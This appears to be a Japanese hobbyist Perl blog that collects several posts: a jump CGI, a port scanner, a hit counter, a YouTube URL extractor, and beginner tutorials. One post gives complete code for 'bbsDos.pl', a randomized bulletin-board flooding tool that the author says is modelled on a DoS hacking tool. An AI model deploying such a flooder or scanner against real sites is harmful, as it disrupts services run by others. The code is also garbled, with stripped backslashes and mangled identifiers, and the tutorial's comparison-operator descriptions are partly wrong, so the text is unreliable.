意外にもあまり紹介されていないのでメモしておきたいと思う。
EUC-JPの文字コード表では次の通りに並んでる。
!”#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~
よって/[!-~]/iこれで全ての半角英数文字をマッチすることが可能である。
意外にもあまり紹介されていないのでメモしておきたいと思う。
EUC-JPの文字コード表では次の通りに並んでる。
!”#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~
よって/[!-~]/iこれで全ての半角英数文字をマッチすることが可能である。
全く同じ働きをするCGIを書いてみました。
※私の妄想にしか過ぎないので間違ってる可能性もあります。
#!/usr/bin/perl
#===================================
#スクリプト名:ジャンプCGI
#作者:ORBIT
#===================================
# URLの後ろパスがついているかチェック
if ($ENV{'PATH_INFO'} eq ""){&error;}
# パスにhttp:/が含まれている場合削除
$ENV{'PATH_INFO'} =~ s/http:///;
# URLの作成
$PATH = "http:/$ENV{'PATH_INFO'}";
# 出力
print "Content-type: text/htmlnn";
print <<EOT
<html><head>
<title>jump</title></head>
<body>
以下のURLに飛びますよろしいですか?<br>
<a href="$PATH">$PATH</a>
</body></html>
EOT
;
# パスが見つからなかった場合は下記を出力
sub error {
print "Content-type: text/htmlnn";
print <<EOT
<html><head>
<title>jump</title></head>
<body>
test
</body></html>
EOT
;
exit;
}
これをエラーページにしてるのかリダイレクトしてるのか多分そんなところかと思います。
原本に一部間違いや遠回りをしていると思われる点がありましたので修正してあります。
#!/usr/bin/perl
#-------------------------------------------------#
# Name: Port Scan Program
# 原作: Perl scan port
# (URL: http://www.perlmonks.org/?node_id=806461)
# 解説: ORBIT SPACE
# 目的: ポートスキャンプログラムの構造の
# 理解とモジュール利用方法等の理解
# を行う為に今回構造の解説とプログ
# ラムの変更を行いました。
#-------------------------------------------------#
#モジュール使用宣言
use IO::Socket;
# Very Simple Scan Port Write in Perl
# MAIN PROG
print "Perl Scan Port V1.0nn";
# User Var
# perl port.pl 127.0.0.1のように入力されたIPアドレスを取得
my $iptarget = $ARGV[0];
unless($ARGV[0]){die "MISSING IP ADRESSnn";}
print "Interesting ports on $iptargetnn";
print "PORT // STATE // SERVICEn";
# Scanning fonction
# ポート番号をインクリメントして作成する。
for(my $iport = 0; $iport != 65537; $iport++){
# 指定されたIPアドレスのポートへ接続
if (my $remote = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $iptarget,
PeerPort => $iport,
Timeout => "5")){
# サービス内容(http,ftp,ssh等)の表示し格変数へ格納
(my $name, my $aliases, my $port_number, my $protocol_name) =+
getservbyport($iport , "tcp");
# サービス名が不明な場合NAを格納
unless($name){$name = "NA";}
# 出力
print "$iport open $namen";
# 切断
close($remote);
}
}
print "Scan Finishn";
どうしてもカウンターがリセットされる現象を回避できなくて頭を悩ましていました^^;
どうもflock関数(ファイルロック)が理解できていなかったと言うのが結論。
にしても酷いな・・・・勉強の大切さを理解しました。
カウンターでこのざまなら掲示板はどうなるんだ?
最初から作り直したほうが早いかもな・・・・・インストーラも効率悪かったし^^;
すばらしく分かりやすく解説していただいたサイト
CGIやDBのロックと同時実行制御
#!/usr/bin/perl
#######################################################
#スクリプト名:ROS カウンター Ver.1.03
#作者:ORBIT
#著作権:ORBIT SPACEに帰属します。
#著作権表示は一切行いません。自由にお使いください。
#######################################################
#各種設定
#------------------------------------------------------
#イメージの保存ディレクトリ
$imgs = './img/';
#ログの保存場所
$ip_log = 'ip.log';
$counts_log = 'counts.log';
#------------------------------------------------------
#IPを取得
$ip = $ENV{'REMOTE_ADDR'};
#GETのデータから位を取得
$buf = $ENV{'QUERY_STRING'};
--$buf;
#過去ログの取得
open (IN_OUT,"+<$counts_log");
flock IN_OUT, 2;
$counts_data = <in_OUT>;
open (IP_IN_OUT,"+<$ip_log");
flock(IP_IN_OUT, 1);
@ip_data = <ip_IN_OUT>;
chomp($ip_data[0]);
if($ip eq $ip_data[0]){&img;}
$ip_data[0] = "$ip_data[0]n";
#インクリメントして保存
if($counts_data eq ""){$counts_data = "00000000"};
++$counts_data;
seek IN_OUT, 0, 0;
print IN_OUT $counts_data;
close(IN_OUT);
#IPを記録
unshift @ip_data, "$ipn";
seek IP_IN_OUT, 0, 0;
print IP_IN_OUT @ip_data;
close(IP_IN_OUT);
&img;
# 画像表示
sub img{
#過去ログを取得し逆順に並べ替える
@list = split(//,$counts_data);
@img_list = reverse (@list);
$nu = $img_list[$buf];
open(IG,"$imgs$nu.gif");
print "Content-type: image/gifnn";
binmode(IG);
binmode(STDOUT);
print <ig>;
close(IG);
exit;
}
基礎となるプログラムです。
先日紹介したダウンロードの方法をPerlにて最小限に表現してみました。
#!/usr/bin/perl ######################################### #ソフト名:YoutubeダウンロードURL生成β #作成日:2009/11/5 #作者:ORBIT #著作権:ORBIT SPACEへ帰属します。 ######################################### #LWPモジュールを使用する use LWP; print"YoutubetURLn>"; $Target = <stdin>; #正規表現にてURLの情報を取得 $Target =~ /http://(.*)/watch?v=(w*)/; my $host = $1; my $id = $2; #取得した情報からURLを生成 $URL = 'http://www.youtube.com/get_video_info?&video_id='."$id"; #HTMLの取得 my $soce = LWP::UserAgent->new->request( HTTP::Request->new(GET => "$URL"))->content; #TOKENの取得を行う $soce =~ /.*token=(.*)&thumbnail_url=.*/; my $t = $1; #TOKENを出力 print"$tn"; #Downlad可能なURLを出力 print'http://youtube.com/get_video?video_id='."$id".'&t='."$tn";
現在掲示板を作成中ですが、またしても脆弱性を発見しましたので、今回は開き直ってある程度性能のある掲示板連続投票ソフトを作成しました。一般的に言われる田代砲です。
通常はJava scriptで書かれていますが、勉強と関数の復習を兼ねてPerlを利用して作りました。
以前紹介したDoS.Perl.BBDoS.aを参考に作るならもっとセンスのある洒落たツールをと言う事で、乱数を追加して送信できる機能を取り付けました。田代砲とするなら乱田代砲と名づけましょうか^^;
私の知識不足でProxyリストを使い投稿ごとにアクセス元を変更する機能こそ付いていませんが、投稿内容が毎回変わるので掲示板管理者や作成者はとても対策に困る訳です。
※ (もちろん、一定時間ごとに投票させるスリープ機能は付けてあります。)
つまり、このツールを防げたらたいていの連続投票を防げるわけです。
※ このプログラムは悪戯目的に使用しないでください。
元はDos攻撃用ハッキングツールを参考にしていますので非常に危険です。
#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.1.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:https://www.orsx.net/
#※悪戯の目的で使用しないでください。
#################################################
#IO::Socketモジュールを使用する
use IO::Socket;
#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."n";
print "URL(ホスト名)を入力してくださいn";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}
#ポートを指定するかユーザーへ質問する
print "X"x"50"."n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスしますn";
chomp $q_port;
#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."n";
print "ポートを指定しますn";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}
#乱数を追記させるかを確認
print "X"x"50"."n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;
#ファイルの場所の指定
print "X"x"50"."n";
print "URL(ファイルの場所と送信データ)を入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;
#送信回数
print "X"x"50"."n";
print "ループさせる回数を指定してくださいn";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!n";
exit;
}
$loop-="1";
#スリープの設定
print "X"x"50"."n";
print "指定秒ウェイトを設定する場合は入力してくださいn";
print "> ";
$slp = <stdin>;
chomp $slp;
#指定させた数字になるまでループ
while($ex <= $loop){
print "X"x"50"."n";
$bbs2=$bbs;
#乱数格納
if ($r eq "y"){
$rr = rand("1000");
$bbs2.=$rr;
}
#送信数のインクリメント
$exd = $exd+"1";
print "$exd回目n";
#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:[$sa%/100%]を完了しましたn";
$ex +="1";
}
#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$bbs2n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "$port",
Proto => "tcp",
);
die "Error:ホストに接続できませんでした!n" unless $socket;
#送信
print $socket "GET $bbs2 HTTP/1.0nn";
close($socket);
#スリープ
print "$slp秒スリープしますn" if($slp ne "");
sleep $slp;
}
print "終了しましたn"
現在、掲示板を作成しようと
日々ちょっとした時間を見つけノートにアイデアをまとめてる日々ですが
実際作成する時間が無く色々と困らされている分けで中々進みません。
そんな中
Perlプログラム専用に作られたエディタを見つけて案外使いやすかったので紹介します。
PerlEditor
とにかく見やすくて扱いやすいです。
今まで使ってたソフトは
ezhtml
Apsaly
etc…..
ezhtmlは気づけばリンクウエアになってましたし
Apsalyは色分けされてません
しかもどちらにも言える事ですが検索機能が使いづらい・・・・・・
検索する文字は合ってるのに確答しないなど
おぃ・・・・^^;
と思う事が度々ありまして困ってました
変数やサブルーチンそれから連想配列など隣に表示してくれるので
わざわざ探す必要が無いです^^
先ずは以下のスクリプトを見てください。
#<ファイル名>
#test.pl
#<スクリプト内容>
#ifステートメントの構文を利用した簡単な
#プログラムを作ってみました。
print “ORBITの年齢はいくつでしょう?n”;
$number = <STDIN>;
#改行コード削除
chomp ($number);
#ifステートメントによる実行の分岐
if ($number == 17) {
#入力された値が17に等しい場合
print “正解です。平凡な学生です^^n”;
}else{
#入力された値が17と異る場合
print “残念!! 正解は17才です^^n”;
}
print “ORBIT SPACEの現在のアクセス数は一日最低何人でしょうかn”;
$number = <STDIN>;
#改行コード削除
chomp ($number);
#ifステートメントによる実行の分岐
if ($number >= 200) {
#入力された値が200以上の場合
print “正解です。記事を読んで頂感謝申し上げます。n”;
}else{
#入力された値が200以下の場合
print “残念!! 記事を読んで頂感謝申し上げます。n”;
}
このスクリプトを実行すると以下のように返ってきます。(一部文字化け有り)

if ($number == 17) {
#入力された値が17に等しい場合
print “正解です。平凡な学生です^^n”;
}else{
#入力された値が17と異る場合
print “残念!! 正解は17才です^^n”;
}
のifとは、英語で訳されるように
もしも~たっだら
という意味があります。
if (判定文<式>) {
#入力された値が式の条件に合ってる場合下のステートメントを実行
====ステートメント====
}else{
#入力された値が式の条件に異なってる場合下のステートメントを実行
====ステートメント====
}
==や<=など簡単な関係演算子を紹介しておきます。
a == b
aとbの数列が等しい場合、真を返す
a <= b
数列aが数列b以上の場合、真を返す
a >= b
数列aが数列b以上の場合、真を返す
a < b
数列aより数列bの方が大きい場合、真を返す
a > b
数列aより数列bの方が小さい場合、真を返す
a != b
aとbの数列が異なる場合、真を返す
a eq b
aとbの文字列が等しい場合、真を返す
a le b
文字列aが文字列b以上の場合、真を返す
a ge b
文字列aが文字列b以上の場合、真を返す
a lt b
文字列aより文字列bの方が大きい場合、真を返す
a gt b
文字列aより文字列bの方が小さい場合、真を返す
a ne b
aとbの文字列が異なる場合、真を返す
まあ、先ずは以下のプログラムを読み取って行きましょう。
#<ファイル名>
#test.pl
#<内容説明>
#スクリプト実行中にユーザーの入力を要求するするスクリプト。
print “好きなアニメのヒロインの名前を入力してくださいn”;
#ユーザーの入力を待機
print “なるほど~$heroineですか~n”;
print “主人公に怒られますよ(爆n”;
まだまだ基礎過ぎて何もプログラムらしいことは書かれてませんが
なんか、ぱっと見はプログラムらしく見えるようになりましたねw
ここで、ユーザーが数列、文字列を入力後[Enter]を入力します。
エンターだけならいいのですが、実はエンターを打つと改行されます。
出力結果の見栄えが実に悪いです。
そこで、改行コードのみ削除するためにchomp関数を利用します。
chomp($heroine);
こう入力することで、変数$heroineに含まれる改行コードを削除して
次の行に移ります。
syanaと入力した場合の実行結果
最近のコメント